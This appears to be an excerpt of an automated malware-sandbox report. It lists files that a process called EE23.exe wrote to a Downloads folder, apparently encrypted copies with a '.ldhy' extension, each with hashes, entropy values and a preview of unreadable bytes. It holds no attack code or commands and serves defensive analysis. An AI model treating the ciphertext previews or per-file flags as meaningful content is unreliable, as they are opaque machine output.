                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8572606159340745
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bBNVRR8huZ/R6A8vvVBPXHRl9ItrjEWxTgeFlhcBYEewqBkHQr491kRXnIhJsbD:JRRIjvXvHRl9INPggjyYEewmkwr491kl
                                                                                                                                                                                                                                                              MD5:565561B4BA4C3551E5D5ECE362B7C0C4
                                                                                                                                                                                                                                                              SHA1:C351CF056700CC57AE0339B58E1C39549FF1B9CE
                                                                                                                                                                                                                                                              SHA-256:884D64B6D1B5BB50BF715E2005DA5F3041F6BB4EEA72EA82C7EBFCC3E1C4CA22
                                                                                                                                                                                                                                                              SHA-512:EFD1895056540ADD58B0D11852253CB0D7C391E48A1FE706D0E5670AB0193CC3E0BE919C42B1F683EDB2F54A4690998F669040BCAA8EBDA3C85BE31B93AC5602
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:KLIZU.:.....*.x.2>:...-.0...P1Z.'a:+.....#]x..M.D......z..'..|...Z..3d../Y.V[..(XRe..3$....:6.?t6....+...s..;xam......o.`.J.......Lp.F9.q...n...o..8......1....0....-.o...i...[y.@.>.......\._.<..!.9....W.Q.q...x..wMx.b.i/'...7.6.4+...V....V....$..$...N.....R>I*....91...!+z.!h.A.<.q;c...q..c.?,r.D.p&..\M..>..37..$a..\..+.z.....S.Jtw...?..."...4.L...#2....>i.....?.K..kqD..wc..P..&.}..jJ.B`L{..I.G.^g..d..h.........p.2.8...n.o....6.PBc4/V.o.X.u.$.Bt.qJj<..#s:#N.r.....j....o.....&.....C..a=B.m....D.=.Y#..C..m...^.Q..%.:e.....<.....M.X...(...O.X+.U..B...#...bW..........4.q?.J.SQ.M...u~.o......_S..NW...%..h.B...<...y.~...A.....M..N....<7.FGNF..{..^(R....._.80U......jdD...]...;..........m._...H.v..7L..5N|8O.. ..gf..;.[.[".n.Q/}....~..0..4..|....s.Y..ik|R..$>.P.......`.d.}..0..'<.EQ.D.(..h.h.nX..h...*........j...8.;1.-.5...c.R.{...s.+.?..\..... ....+.GD....D..x.|.....S|.%.#}.%N........GWC.a...~...ZG.....i.D..b.Qj[...j.5v...&....)...@W.....y.a{..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\NVWZAPQSQL.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.872236321638239
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FGOn2t/gckwstAGq49gAHzsnX6UNgYumrmaq8XiXEx2A07asaFbfUgfaoVB0m9+Q:FGaQ/gfQkgAH4nX69YumrX4HFeYUB0JQ
                                                                                                                                                                                                                                                              MD5:BF0462972331A6D99395FF2B23481C74
                                                                                                                                                                                                                                                              SHA1:79773C699D2A9C72E6DE878547A333CC8D643B09
                                                                                                                                                                                                                                                              SHA-256:5CFE172F0932A35BF3D7B1615BCD331D26C09723B71422A3FE690EFE0489EECB
                                                                                                                                                                                                                                                              SHA-512:06B86B05F6BC462D34FD6E800E2E71E662918E1F20B449CAE48C25F8A228569FA1D5C282F7212BD4D9D165746C9288972E443BC8B4354421C96398FE4642003D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZAyF.K.I.8....M..Vo...............W.#....O.%Lq..O.-b.....<(W....9Z.+T....s.^..WT......s..\.z...;@..o3r.`....k%....A....c.._.Hx.v..&g....d...df87@@l.-r..v..cj..*b.(|.\.G...x...m>...W0....W...3.......x.6."....i......1h.a.*..L,T<1.!........#... .'..W..1R.N0?k%2.^.?....%.u...[2.\[y...{.iE...W.]......>q..E...0.u.xk+..{.l. L.I..S...I....+7..|..C.H._z...&fB..'..D[....B..!.........t..G..O.m..m=5pU..g...IA.,...........z.6..ROXG..Y.'..M..cM...~.<.W......<-.z.&=?..x.?3b..#{.>7...{P./.at....p.........[./...T..;.^......%.....-...w.(*.MO...}.Q..L..c.V.F.?..j5O.a.&7.....):}.U&b&v..?......."U.5...No.5..b...."..nHA....eo.}............AH...C.....)..&...\k.....j...+.........]S...7.\.,..ZK.]....~.l......k..QP..y....2.J.....1p..u....j....j{....Z.f.J..#..pJ.&0..t.y...>..K.....G...8TE$..Rv.8.`...R.5FL%.s....b...%...?..b...+.oK.JfN..'-..7...n..3...^...^w:..c..M.LU..m.=.l.Sv...u..i)!....<.....p..^...]w....n..7T....o......j...$..6K~m......!QH!...}

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\NVWZAPQSQL.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.872236321638239
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FGOn2t/gckwstAGq49gAHzsnX6UNgYumrmaq8XiXEx2A07asaFbfUgfaoVB0m9+Q:FGaQ/gfQkgAH4nX69YumrX4HFeYUB0JQ
                                                                                                                                                                                                                                                              MD5:BF0462972331A6D99395FF2B23481C74
                                                                                                                                                                                                                                                              SHA1:79773C699D2A9C72E6DE878547A333CC8D643B09
                                                                                                                                                                                                                                                              SHA-256:5CFE172F0932A35BF3D7B1615BCD331D26C09723B71422A3FE690EFE0489EECB
                                                                                                                                                                                                                                                              SHA-512:06B86B05F6BC462D34FD6E800E2E71E662918E1F20B449CAE48C25F8A228569FA1D5C282F7212BD4D9D165746C9288972E443BC8B4354421C96398FE4642003D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZAyF.K.I.8....M..Vo...............W.#....O.%Lq..O.-b.....<(W....9Z.+T....s.^..WT......s..\.z...;@..o3r.`....k%....A....c.._.Hx.v..&g....d...df87@@l.-r..v..cj..*b.(|.\.G...x...m>...W0....W...3.......x.6."....i......1h.a.*..L,T<1.!........#... .'..W..1R.N0?k%2.^.?....%.u...[2.\[y...{.iE...W.]......>q..E...0.u.xk+..{.l. L.I..S...I....+7..|..C.H._z...&fB..'..D[....B..!.........t..G..O.m..m=5pU..g...IA.,...........z.6..ROXG..Y.'..M..cM...~.<.W......<-.z.&=?..x.?3b..#{.>7...{P./.at....p.........[./...T..;.^......%.....-...w.(*.MO...}.Q..L..c.V.F.?..j5O.a.&7.....):}.U&b&v..?......."U.5...No.5..b...."..nHA....eo.}............AH...C.....)..&...\k.....j...+.........]S...7.\.,..ZK.]....~.l......k..QP..y....2.J.....1p..u....j....j{....Z.f.J..#..pJ.&0..t.y...>..K.....G...8TE$..Rv.8.`...R.5FL%.s....b...%...?..b...+.oK.JfN..'-..7...n..3...^...^w:..c..M.LU..m.=.l.Sv...u..i)!....<.....p..^...]w....n..7T....o......j...$..6K~m......!QH!...}

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\NVWZAPQSQL.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847582145798244
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FQ6qu8AWk3OcGkffpAZbKv1nqru3CrNdbCdLWCfPSQWMtYgcOpZhIx3uSpdJl3Ti:Fjq0WaXXxqrkQDbaSCfaQNYiK0SpdJZ2
                                                                                                                                                                                                                                                              MD5:21A891B07D69B87052B3A0EED3744B57
                                                                                                                                                                                                                                                              SHA1:1CAE997C2C0CCAE3103DDFA2101705462BE103C7
                                                                                                                                                                                                                                                              SHA-256:B7770B5D06966477AC5E336B02245A26AB201A4C6C2352A766882D78EB56AE8F
                                                                                                                                                                                                                                                              SHA-512:1403469A4B397F2461186BD6D3DA5803531A0EDCEA249D1040E99050F8041AD9207B881E77F3477B65DAF49CE7C9AC8363E9851554E3CBEB530221FEFC308375
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA(.............6.}.............O.4.O.................>..a.a.3a4}..J.W...y.1.D.).7c.{s.R.=&ns.&&...I.x-......-'..R6..l#..)cn..(.p..~...R......O...OG.Nb..H}$f.^.[q....w.H...f-wU.4..-..~....;..Y.;.........E`..6.......KZ.B.Kp......E.%l..v.B.[.......K....[...../.HA:t;N.X...Lb......^..7.7.N.s..Vv......U.5.......r.I...u..n5..>6O...#...gJ..s2...u.[M.....r.b....l...`s.......E..C.)... .l.b....[Qm...`.....[.a{..l,n..?t<rjM...81"...>..M...g..i......Y..$.Z...)..7....w.\...._..n.._....].Va .y}v..r-.......1..Gr.r.WZ.......j..L..e%.2..Y....... .c..-.d..U.....x..W..m...;`.#C.)I....v....nt.....X..s...Bw.sm..k_..........w...m[...h...xs>u.......3/g@..w.)..'..C..,.85..;..d;..#..._...`.....Ft.....\...L?&.Q...;jP.U.G.h.;......B.\....,I'.....K!.S.z,.@&p.64...4e.CYo.:3).w.....$.@.......e{..^.g....p.'I....K.....`.e4.25-..z.:3..:.2.1.U......BS.I...{eF3....H..SCs.t....KZ&3..&..1.D.9.C=.H.*.a@.,.5?.U.s..1.n'...'.....rk...Au.}.`..l9y.?P..S^...5..1.f..p^.\..<....o..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\NVWZAPQSQL.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847582145798244
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FQ6qu8AWk3OcGkffpAZbKv1nqru3CrNdbCdLWCfPSQWMtYgcOpZhIx3uSpdJl3Ti:Fjq0WaXXxqrkQDbaSCfaQNYiK0SpdJZ2
                                                                                                                                                                                                                                                              MD5:21A891B07D69B87052B3A0EED3744B57
                                                                                                                                                                                                                                                              SHA1:1CAE997C2C0CCAE3103DDFA2101705462BE103C7
                                                                                                                                                                                                                                                              SHA-256:B7770B5D06966477AC5E336B02245A26AB201A4C6C2352A766882D78EB56AE8F
                                                                                                                                                                                                                                                              SHA-512:1403469A4B397F2461186BD6D3DA5803531A0EDCEA249D1040E99050F8041AD9207B881E77F3477B65DAF49CE7C9AC8363E9851554E3CBEB530221FEFC308375
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA(.............6.}.............O.4.O.................>..a.a.3a4}..J.W...y.1.D.).7c.{s.R.=&ns.&&...I.x-......-'..R6..l#..)cn..(.p..~...R......O...OG.Nb..H}$f.^.[q....w.H...f-wU.4..-..~....;..Y.;.........E`..6.......KZ.B.Kp......E.%l..v.B.[.......K....[...../.HA:t;N.X...Lb......^..7.7.N.s..Vv......U.5.......r.I...u..n5..>6O...#...gJ..s2...u.[M.....r.b....l...`s.......E..C.)... .l.b....[Qm...`.....[.a{..l,n..?t<rjM...81"...>..M...g..i......Y..$.Z...)..7....w.\...._..n.._....].Va .y}v..r-.......1..Gr.r.WZ.......j..L..e%.2..Y....... .c..-.d..U.....x..W..m...;`.#C.)I....v....nt.....X..s...Bw.sm..k_..........w...m[...h...xs>u.......3/g@..w.)..'..C..,.85..;..d;..#..._...`.....Ft.....\...L?&.Q...;jP.U.G.h.;......B.\....,I'.....K!.S.z,.@&p.64...4e.CYo.:3).w.....$.@.......e{..^.g....p.'I....K.....`.e4.25-..z.:3..:.2.1.U......BS.I...{eF3....H..SCs.t....KZ&3..&..1.D.9.C=.H.*.a@.,.5?.U.s..1.n'...'.....rk...Au.}.`..l9y.?P..S^...5..1.f..p^.\..<....o..

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\PALRGUCVEH.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.858579128425873
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:t8heSQPNQ/GcNgLG4TldrA+boHa5oplSZ9MftOPDKJcTCsbD:tVigFldrc989MVOWgCmD
                                                                                                                                                                                                                                                              MD5:70DAA5720CF93E811B02570676C2F122
                                                                                                                                                                                                                                                              SHA1:1AE837EFD77864F45C8AC7A7FF0140D70E5CA539
                                                                                                                                                                                                                                                              SHA-256:300430C9A55758C75C14A8CAA849844182D90CF71754401D6D52AC7CE82FEA88
                                                                                                                                                                                                                                                              SHA-512:F239CB655BBC6138BDD948CF2E0619F8808D2DCFC68EC68355E111FCAD27A3F6F78BD100CC9C75844C07EBADA5BCE93E4A321C92139F750E4C5DA11CFFCDD850
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG...T6.........:)M......Y@...SzW7..o.?3..o.|....g..p....K..}.t$....k......(.b.C.].B...m...j..X.<.y,.AT....B.JR..F*...Z..>..A..YMl5...2..N.K....B..A......:...E.#?.U~.q.P..]...36....5..WA.U.n<.V.J..'Y.R.<*.\<..O.:.t...V].....-..N..FG..A.vp0..>.@.T.u.l.A.......W.!6..W.,h.3...T.;.;...1.j...U..3f.l.$.....\.4B2.C.x7*|....*. .a.H.^...5.sL+...{@....kT....@.)..My.<.+F...m...6.......*.T. 0"..#.\.n.)..o&Z.{N...2H^..x..5..U0....j.I....: ..d.P.....5v'2k2..a*......[S.i..../........U:NGd.H.M...E..0.n....l...e...Gg.........]W?3.k....2...wb........3..t........zq&zY...xQ....#..m..]..1&\..%\._.....bC..'.Wb..o.j .(.-......p..WS._a....m.......-..M...Q..{K........s:..<..<.f...s8../=WU..I8.}.....tN....n|..W.z.e.9..N..[.8...I4.P."j.m.a*iV....33Z..mv_..1..(..G.X...R...4t.|...v<!t...e^.y..{......V.l...U48........E..h...h1h..[oDW5..VVu...V@..>.(G.`.P.m|t.=..Y...$4.....y....vT...e .........Lu-% UIg...;.......n7.......F........s...Bl]......?...NMP......

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\PALRGUCVEH.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.858579128425873
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:t8heSQPNQ/GcNgLG4TldrA+boHa5oplSZ9MftOPDKJcTCsbD:tVigFldrc989MVOWgCmD
                                                                                                                                                                                                                                                              MD5:70DAA5720CF93E811B02570676C2F122
                                                                                                                                                                                                                                                              SHA1:1AE837EFD77864F45C8AC7A7FF0140D70E5CA539
                                                                                                                                                                                                                                                              SHA-256:300430C9A55758C75C14A8CAA849844182D90CF71754401D6D52AC7CE82FEA88
                                                                                                                                                                                                                                                              SHA-512:F239CB655BBC6138BDD948CF2E0619F8808D2DCFC68EC68355E111FCAD27A3F6F78BD100CC9C75844C07EBADA5BCE93E4A321C92139F750E4C5DA11CFFCDD850
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG...T6.........:)M......Y@...SzW7..o.?3..o.|....g..p....K..}.t$....k......(.b.C.].B...m...j..X.<.y,.AT....B.JR..F*...Z..>..A..YMl5...2..N.K....B..A......:...E.#?.U~.q.P..]...36....5..WA.U.n<.V.J..'Y.R.<*.\<..O.:.t...V].....-..N..FG..A.vp0..>.@.T.u.l.A.......W.!6..W.,h.3...T.;.;...1.j...U..3f.l.$.....\.4B2.C.x7*|....*. .a.H.^...5.sL+...{@....kT....@.)..My.<.+F...m...6.......*.T. 0"..#.\.n.)..o&Z.{N...2H^..x..5..U0....j.I....: ..d.P.....5v'2k2..a*......[S.i..../........U:NGd.H.M...E..0.n....l...e...Gg.........]W?3.k....2...wb........3..t........zq&zY...xQ....#..m..]..1&\..%\._.....bC..'.Wb..o.j .(.-......p..WS._a....m.......-..M...Q..{K........s:..<..<.f...s8../=WU..I8.}.....tN....n|..W.z.e.9..N..[.8...I4.P."j.m.a*iV....33Z..mv_..1..(..G.X...R...4t.|...v<!t...e^.y..{......V.l...U48........E..h...h1h..[oDW5..VVu...V@..>.(G.`.P.m|t.=..Y...$4.....y....vT...e .........Lu-% UIg...;.......n7.......F........s...Bl]......?...NMP......

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\PALRGUCVEH.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.83278772551762
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:CME4p4KDh9sjTT/bK2g7R4rUr4pqKh+W7VrBOZ41vtJGs8eS1TO3rAd0xsbD:CMTpX9M/64rUEwy+aVrkZ4zJJSBRWmD
                                                                                                                                                                                                                                                              MD5:03B6C6683DC715BC4CA2A8C023665075
                                                                                                                                                                                                                                                              SHA1:7E18EB247F5DF9EB01B4D375D9456B8CD25FD0B8
                                                                                                                                                                                                                                                              SHA-256:154D6543B4D58E589E5CFB0D543623AAD58F3F69DFF2A073FA0B3A1D4FDBC11D
                                                                                                                                                                                                                                                              SHA-512:8427A6979DE7D60FD428587FD1BE57BD7CEBB92D2F2895AE936DEB8EA85FF5E1F8D95FF6AD378DF5915726F44BB084A76E084FF4AB0EFA3B8EAEE56163C7376D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.I.k..4s......Z...:.k.C..Y....'r.I....EX..z*..c..0A.5....}KD.E.''....']....X.a.@} \.O!X..^d...!...culw...4^..^...D..O.A..Z..M."..3..=Nl..qbi...,...X.hPB..+;v..\....U..O.yC...wRDro.rP..r4...Ko.k.T...PJw.F]9...f...h...=_.0.1.....Q.i..ht.-Z..Fv.*....l.1....."(.'.......p..%....kL.......B.@......1G..2......q..R.[~ ..2D&.{...:...|...1.i.A;n....r...Z.......}=,^.01.f....jak{H....H..=H..[avC(v'Y....S...?6Ej(.>.i..3.).......e7.".v.%".Vu.>\..qx.oSM.)...&...!.......GBn.K.m..J....c>.. .^mK....a ....!."......y..;e.u.....+..0g...m._.CQ..h.C.y..Q|...(`...p.#.!.m....4...5.Ysc.....qK?(y..A...$.N...>.e.R^K......4.zjH.$.}...'.q..~D.g.F..q.R.../.J.h....~|.y.F..I.^...Q.....=M..>....sc...R..{.e.Q/...(...i...8A.34j..BeB.....bk9<.,,...GE..4..8K........;.{|..Y9....'..8.b.....h...p...v..H.'.de.@..:..G.9.u.....p...Wj Pj..._........D...Q0..{..+.>.9...X...~Q....^.*...........D.A....*.{....D.X.m......I.c.q..(..-.?.[.......+..mW.*'...j...v.<i.H.D)..&l..uT..Y..ir...Cd

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\PALRGUCVEH.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.83278772551762
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:CME4p4KDh9sjTT/bK2g7R4rUr4pqKh+W7VrBOZ41vtJGs8eS1TO3rAd0xsbD:CMTpX9M/64rUEwy+aVrkZ4zJJSBRWmD
                                                                                                                                                                                                                                                              MD5:03B6C6683DC715BC4CA2A8C023665075
                                                                                                                                                                                                                                                              SHA1:7E18EB247F5DF9EB01B4D375D9456B8CD25FD0B8
                                                                                                                                                                                                                                                              SHA-256:154D6543B4D58E589E5CFB0D543623AAD58F3F69DFF2A073FA0B3A1D4FDBC11D
                                                                                                                                                                                                                                                              SHA-512:8427A6979DE7D60FD428587FD1BE57BD7CEBB92D2F2895AE936DEB8EA85FF5E1F8D95FF6AD378DF5915726F44BB084A76E084FF4AB0EFA3B8EAEE56163C7376D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.I.k..4s......Z...:.k.C..Y....'r.I....EX..z*..c..0A.5....}KD.E.''....']....X.a.@} \.O!X..^d...!...culw...4^..^...D..O.A..Z..M."..3..=Nl..qbi...,...X.hPB..+;v..\....U..O.yC...wRDro.rP..r4...Ko.k.T...PJw.F]9...f...h...=_.0.1.....Q.i..ht.-Z..Fv.*....l.1....."(.'.......p..%....kL.......B.@......1G..2......q..R.[~ ..2D&.{...:...|...1.i.A;n....r...Z.......}=,^.01.f....jak{H....H..=H..[avC(v'Y....S...?6Ej(.>.i..3.).......e7.".v.%".Vu.>\..qx.oSM.)...&...!.......GBn.K.m..J....c>.. .^mK....a ....!."......y..;e.u.....+..0g...m._.CQ..h.C.y..Q|...(`...p.#.!.m....4...5.Ysc.....qK?(y..A...$.N...>.e.R^K......4.zjH.$.}...'.q..~D.g.F..q.R.../.J.h....~|.y.F..I.^...Q.....=M..>....sc...R..{.e.Q/...(...i...8A.34j..BeB.....bk9<.,,...GE..4..8K........;.{|..Y9....'..8.b.....h...p...v..H.'.de.@..:..G.9.u.....p...Wj Pj..._........D...Q0..{..+.>.9...X...~Q....^.*...........D.A....*.{....D.X.m......I.c.q..(..-.?.[.......+..mW.*'...j...v.<i.H.D)..&l..uT..Y..ir...Cd

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\PIVFAGEAAV.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855472657260933
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:iZDfhiz0hOvvFfxgs2rF7LqqdsBSjGbMmWjuqh4Jyjmit3hiHw8lWtp/EjyHzUv+:i1ZcFfetxfnLjzJxh4JyJBgHwG4p/Ejy
                                                                                                                                                                                                                                                              MD5:7A69F759425BEC3FAB1B7008108E5D0E
                                                                                                                                                                                                                                                              SHA1:ED140E236491BB234C092F0776A23EB8161BE437
                                                                                                                                                                                                                                                              SHA-256:3DCC8A6FB23AFE192256EF5F11804D2D0428FD3AF228EDADD926E173C2E8E5EE
                                                                                                                                                                                                                                                              SHA-512:E8870FB4808FCDA10B91EBFF27CB8F35DBA35620E77CE563D147D8439DA1E6AA55B01CD016F66AE745E08F4122E971751F7D411463842BB791FEDACD9772D020
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA..x'.$.2....`k8..5......y...+...F....0...B...O...~+....c......v.A.6..@.VX.4...v.._9k&..$..'`..eE..a.r....."~%..YB......[.YA.{d.b..6.../. .V...K .....w....Xr.+.O....W....D>A.....3.E^..~.!2..,.~....;..p[;....61is.Wm...T.e.v.....~...>."..7.7?.\g...%9.`...c...........E....?`......#f#........t.F..3.....o......pXM"VO..=q(..q.z....;r..n.=..cT...#[..{.....l.;......{O.8d..Q.`.._...Icj.F..\.>..>..d^N.*.j.5f....z..|...(.J...65.v2.[T.y4...4...B.f.G"..a.........J......J.Ow...Z.O.I.s......Z;.f@U?.uQ.mg"}+.1....k.....,.2$n.}.Z.W..:$..E}S8...Zt.=.T......_'.9.*.......Y.yZydM[.~.1K.....d<.tx]"mU../K...g.1..\S....}.f|k..d[.......#D..i..+...K...B.wYQ.m.. Q...h..5.2\.. ..../...1...}. 6Q2.wG.M..+.jr<.....e..E.G....p...K...S............t...m...$...Y%).UZF...5.%F....V...)rl...-4......D..A-.`t)..(p.+|i./......[yg..==.....X5.(./.3.q#.>.SkG.U.O..T/._.c...l0.B...w..W....u.d... ..QOx.2X....{..x..'....80v.."......m..5.a.s.po..;....B*.>...N..V5..0._o..,:.-.b..G.....O...

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\PIVFAGEAAV.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855472657260933
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:iZDfhiz0hOvvFfxgs2rF7LqqdsBSjGbMmWjuqh4Jyjmit3hiHw8lWtp/EjyHzUv+:i1ZcFfetxfnLjzJxh4JyJBgHwG4p/Ejy
                                                                                                                                                                                                                                                              MD5:7A69F759425BEC3FAB1B7008108E5D0E
                                                                                                                                                                                                                                                              SHA1:ED140E236491BB234C092F0776A23EB8161BE437
                                                                                                                                                                                                                                                              SHA-256:3DCC8A6FB23AFE192256EF5F11804D2D0428FD3AF228EDADD926E173C2E8E5EE
                                                                                                                                                                                                                                                              SHA-512:E8870FB4808FCDA10B91EBFF27CB8F35DBA35620E77CE563D147D8439DA1E6AA55B01CD016F66AE745E08F4122E971751F7D411463842BB791FEDACD9772D020
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA..x'.$.2....`k8..5......y...+...F....0...B...O...~+....c......v.A.6..@.VX.4...v.._9k&..$..'`..eE..a.r....."~%..YB......[.YA.{d.b..6.../. .V...K .....w....Xr.+.O....W....D>A.....3.E^..~.!2..,.~....;..p[;....61is.Wm...T.e.v.....~...>."..7.7?.\g...%9.`...c...........E....?`......#f#........t.F..3.....o......pXM"VO..=q(..q.z....;r..n.=..cT...#[..{.....l.;......{O.8d..Q.`.._...Icj.F..\.>..>..d^N.*.j.5f....z..|...(.J...65.v2.[T.y4...4...B.f.G"..a.........J......J.Ow...Z.O.I.s......Z;.f@U?.uQ.mg"}+.1....k.....,.2$n.}.Z.W..:$..E}S8...Zt.=.T......_'.9.*.......Y.yZydM[.~.1K.....d<.tx]"mU../K...g.1..\S....}.f|k..d[.......#D..i..+...K...B.wYQ.m.. Q...h..5.2\.. ..../...1...}. 6Q2.wG.M..+.jr<.....e..E.G....p...K...S............t...m...$...Y%).UZF...5.%F....V...)rl...-4......D..A-.`t)..(p.+|i./......[yg..==.....X5.(./.3.q#.>.SkG.U.O..T/._.c...l0.B...w..W....u.d... ..QOx.2X....{..x..'....80v.."......m..5.a.s.po..;....B*.>...N..V5..0._o..,:.-.b..G.....O...

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\QCOILOQIKC.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.852514586242773
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:tni07ced+kr1WDTOAu5V8hmNQHp1GiZzFRX1tGvqgnJ/WtGua0YLD4sGJsbD:93+GWDyAYsH7vHjGvqhtSD4vJmD
                                                                                                                                                                                                                                                              MD5:5F177741F609EB9B6956AAF8C9CC8FE9
                                                                                                                                                                                                                                                              SHA1:F7680CE1361326F97E2FF35EC8A59768F91888C9
                                                                                                                                                                                                                                                              SHA-256:359D3C7CD3BB0BF2405C3F6D9319E332FB57B56547D197C218D953DD662D87DD
                                                                                                                                                                                                                                                              SHA-512:02561B812662D447693E6B6FC9D905CE87668ECCE3A705EBB1E950658CB5558970BF24E0DB9ECCD5E4C896EB657463A0A98360D4D07A3B0A3BD214B64459170E
                                                                                                                                                                                                                                                              Malicious:false
